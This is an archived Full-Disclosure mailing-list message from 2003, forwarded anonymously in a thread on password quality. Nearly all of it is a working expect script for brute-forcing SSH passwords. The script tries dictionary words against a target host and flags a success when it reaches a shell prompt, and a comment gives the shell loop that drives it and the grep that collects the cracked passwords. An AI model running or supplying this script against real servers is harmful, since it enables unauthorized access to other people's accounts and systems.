full-disclosure - Password quality?

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Message-ID: <20031210100157.C19545-100000@vapid.ath.cx>
From: lwc at vapid.ath.cx (Larry W. Cashdollar)
Subject: Password quality?

I have been asked to forward this to the list anonymously.

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Date: Wed, 10 Dec 2003 09:34:31 -0500 (EST)
To: Larry W. Cashdollar <lwc@...id.ath.cx>
Cc: "[X-UNKNOWN] Kristian Köhntopp" <kris@...hntopp.de>
Subject: Re: [Full-Disclosure] Password quality?

Hey guys,
If you want to try the "expect" route, you can use the script below...
but, yes, it is slow...would be much quicker if someone modified a
ssh-client in C ... ;-)

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#!/usr/bin/expect -f


# by anonymous
# dorky way to brute force ssh passwd
# from command prompt do a
# for i in `cat PASSWD_FILE`; do ./ssh_brute.expect $i IPADDRESS >>
# ssh_rezults; done
# where PASSWD_FILE is your dictionary file and IPADDRESS is (duh) the IP
# address
# then run
# grep "SNAGGED" ssh_rezults


set timeout 5

set passwd [lindex $argv 0]
set host   [lindex $argv 1]

spawn ssh $host

expect "password:"
send -- "$passwd\n"


expect {

"assword"    { exit 0 }
"enied"       { exit 0 }
"#"           { send_user "SNAGGED $passwd\n" }
timeout          { exit 254 }
eof              { exit 253 }

}

exit 0


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